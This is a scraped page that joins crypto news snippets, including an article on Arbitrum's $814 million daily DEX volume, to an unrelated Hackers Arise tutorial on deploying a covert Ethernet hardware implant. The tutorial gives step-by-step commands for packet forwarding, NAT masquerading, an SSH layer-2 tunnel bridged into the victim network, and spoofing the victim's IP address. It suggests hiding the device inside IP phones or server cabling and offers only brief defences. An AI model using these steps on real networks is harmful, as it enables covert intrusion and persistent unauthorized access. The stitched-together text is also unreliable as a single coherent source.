Corn has launched a private members club for digital asset holders after closing its Bitcoin layer-2 network, as a third investment from Polychain Capital has taken its total funding to $19 million. Corn closed its Bitcoin layer 2 after deposits…

A range-proof cache bug in the Elements codebase let an unknown actor mint unbacked L-BTC, drain 95% of the federation reserve through SideSwap, then negotiate its return on-chain via OP_RETURN messages. The network remains frozen, 598.5 BTC sits in the…

Arbitrum recorded $814 million in daily decentralized exchange volume, giving the Ethereum Layer-2 network another strong activity signal as traders rotate through on-chain markets.

The figure is useful because it looks at actual trading activity rather than just token price. That matters for Arbitrum, where the story has always been tied to Ethereum scaling, DeFi liquidity, and the question of whether Layer-2 networks can keep attracting real usage.

A big DEX volume day does not guarantee ARB will rally. But it does show that traders are using the network in size.

For more details, visit the official Defillama platform.

TL;DR

• Arbitrum daily DEX volume reached $814 million.
• The figure points to stronger Layer-2 trading activity.
• This is a network usage story, not an ARB price prediction.

Why DEX Volume Matters

DEX volume is one of the clearest signs of on-chain demand.

When traders swap assets through decentralized exchanges, they create fees, liquidity movement, arbitrage activity, and demand for infrastructure. It is not just idle capital sitting in a protocol. It is users doing something.

For Arbitrum, that matters because DeFi is one of its core strengths.

The network has long positioned itself as a major Ethereum scaling environment for trading, lending, derivatives, and liquidity applications. A strong volume print supports that identity.

It says activity is there.

Layer-2 Competition Is Intense

Arbitrum is not operating in an empty field.

Base, Optimism, zkSync, Starknet, Polygon, and other Layer-2 or scaling ecosystems are all competing for users, developers, liquidity, and apps. Ethereum scaling has become a crowded market.

That makes volume important.

Networks can talk about technology all day, but liquidity tends to move where traders actually get good execution, useful apps, and reasonable costs. If Arbitrum can keep generating strong DEX volume, it remains one of the more important L2s in the market.

Volume Is Not The Same As Sticky Users

There is a limit to the metric.

DEX volume can spike because of volatility, incentives, arbitrage, token launches, liquidations, or temporary market conditions. That does not always mean long-term user retention is improving.

So the $814 million figure should be read as a strong activity signal, not a complete health check.

The deeper questions are whether users come back, whether liquidity stays, whether protocols earn sustainable fees, and whether developers keep building.

Why ARB Traders Pay Attention

ARB holders watch network activity because governance-token value is tied to the ecosystem’s relevance.

The relationship is not always direct. Higher DEX volume does not automatically mean ARB captures more value. Token economics, governance design, incentives, and market sentiment all matter.

But if the network becomes more active, the governance asset tends to get more attention.

That is why the DEX volume print matters even without making a price call.

The Read For Arbitrum

Arbitrum’s $814 million DEX volume day shows the network is still very much in the Layer-2 conversation.

It has liquidity. It has traders. It has DeFi activity. Those are the things that matter when scaling networks compete for relevance.

Now the question is consistency.

If Arbitrum keeps posting strong activity, the story gets stronger. If the volume fades quickly, this may look more like a one-day market burst.

For now, it is a solid signal that the network remains busy.

This article draws on DeFiLlama Arbitrum DEX volume data.

This article was written by the News Desk and edited by Samuel Rae.

This report is based on information released by Defillama. at Defillama

Welcome back, aspiring cyberwarriors! 

Today we complete our short series on building a small persistence device. After covering how to build it in Part 1, we will now focus on its deployment and how to achieve persistence using the device we created. We will also discuss practical measures to protect your environment from attacks like this.

Persistence

An attacker finds an unattended computer and discreetly connects their device to it.

The computer in the image above will not lose network access and will not even detect the intermediate node. The Rock Pi will transparently forward the victim’s traffic while simultaneously giving the attacker network access both toward the victim’s computer and toward the local network.

The hardware implant can be connected anywhere (from a regular computer or printer to a server room). It all depends on where the attacker managed to gain access. Its small size allows the hardware backdoor to be hidden even inside another device.

The hardware implant can even be placed inside an IP phone located in a meeting room. Such rooms are often temporarily unoccupied, which an attacker can take advantage of.  The device configuration also allows it to be used not only in a “man-in-the-middle” setup. It can simply be plugged into any available Ethernet port to maintain remote access.

Next, using all available access channels (VPN, DNS, Wi-Fi, 4G), the attacker can remotely access the device and, from there, gain access to the network. To develop further attacks, the attacker does not need to deploy all hacking tools on the device every time. The implant can act merely as a gateway, simply forwarding packets from the attacker into the network.

L3 Access

Now it is time to look at how such a device can be configured in gateway mode, providing simple Layer 3 (L3) access to the target network. Only two components are required.

The first is packet forwarding. When this kernel option is enabled, network packets can pass from one interface (VPN) to another (Ethernet) according to routing rules:

/etc/sysctl.conf

net.ipv4.ip_forward=1

The second is SNAT, which modifies the source IP address for packets that change network interfaces, in this case from VPN to Ethernet:

Pi > iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE
Pi > iptables-save | sudo tee /etc/iptables.up.rules

/etc/network/if-pre-up.d/iptables

#!/bin/bash
/sbin/iptables-restore < /etc/iptables.up.rules

This gives the hacker simple and convenient access to the network where the implant is placed. On the attacker’s side, all that is required is to add a route through Packet Squirrel:

kali > route add -net 10.0.0.0/8 gw packet_squirrel
kali > ping 10.10.10.10

The attacker’s phone, which is not directly connected to the victim’s laptop, is connected to the same VPN network as the Packet Squirrel. A route is configured on the phone with Packet Squirrel as the gateway, after which the attacker gains direct network access to the internal network. This is convenient for the attacker and can be used both for stealthy access and for further attack development. However, this is only L3 access (the network layer of the OSI model), which does not provide full attack capabilities, since the attacker is not actually inside the network but uses Packet Squirrel as a gateway.

To be fully present within the network segment and to use the full arsenal of Ethernet-based attacks (from ARP to NetBIOS spoofing), the attacker needs Layer 2 (L2) access.

L2 Access

To obtain full L2 access to the network segment where the implant is located, the attacker must create an additional tunnel. The simplest way to do this is via SSH:

/etc/ssh/sshd_config

PermitRootLogin yes
PermitTunnel ethernet

Since the device’s Ethernet interfaces are already connected in a bridge (br0), the attacker only needs to add a new L2 interface from SSH into this bridge:

kali > sudo ssh root@packet_squirrel -o Tunnel=ethernet -w any:any
Pi > brctl addif br0 tap1
Pi > ifconfig tap1 up

The network bridge will copy every network packet from the Ethernet interfaces into this virtual interface. On the attacker’s side, a new L2 interface will also appear, receiving all packets available to the Packet Squirrel and acting as an L2 portal into the internal network segment:

kali > sudo ifconfig tap1 up
kali > sudo dhclient tap1

Now, being directly inside the network segment via Packet Squirrel, the attacker can obtain an internal IP address via DHCP. For greater stealth, they may even use the victim’s IP address:

Pi > sudo ifconfig br0 0
kali > sudo ifconfig tap1 $victim_ip/24

A small device hidden somewhere deep within a corporate network, behind a workstation, a hallway printer, an IP phone in a meeting room, or even buried in server room cabling can covertly interact with internal network nodes on behalf of the victim (using their MAC and IP address). Meanwhile, the attacker can be physically located far away.

Such a device can also be used for remote internal penetration testing, where the client simply plugs the device into the required network segment. No further action is needed. There is no need to coordinate access approvals, travel to the site, or deal with inconvenient VPN connections.

How to Defend

Using Port Security alone can prevent an attacker from accessing an unused network port, since they will not know the required MAC address. If 802.1X is also implemented, the attacker will not be able to insert a device in the middle. When connecting a Packet Squirrel, even briefly, the network link must be interrupted, which would require re-authentication.

Another defensive measure is strict physical control over Ethernet ports and devices within the enterprise network.

Summary

We showed you how a small, hidden hardware implant can give an attacker persistent and stealthy access to an internal network. By acting as a transparent bridge or gateway, the device allows remote entry without disrupting normal operations. With L3 access, the attacker gains basic connectivity, while L2 access places them fully inside the network, enabling more advanced attacks and even impersonation of legitimate devices. Physical access, even briefly, can translate into long-term compromise. That’s why strong network authentication and strict control over physical ports are critical for defense.

If you like what we’re doing here and want to advance your cybersecurity skills, check out our Cyberwarrior Path training. It’s a three-year program built around a two-tier learning curriculum. During the first 18 months, you’ll get access to a rich library of beginner to intermediate-level courses, giving you the knowledge and practical skills you need to build a strong foundation and progress with confidence.

The post Persistence: Building a Small Ethernet Persistence Device, Part 2 first appeared on Hackers Arise.